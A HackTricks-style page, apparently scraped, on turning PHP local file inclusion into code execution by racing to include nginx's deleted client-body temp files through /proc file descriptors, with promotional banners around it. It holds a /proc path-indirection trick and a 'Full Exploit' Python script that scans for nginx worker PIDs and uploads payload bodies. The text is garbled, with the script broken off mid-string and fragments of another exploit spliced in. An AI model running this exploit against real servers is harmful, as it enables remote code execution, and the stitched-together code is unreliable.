<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
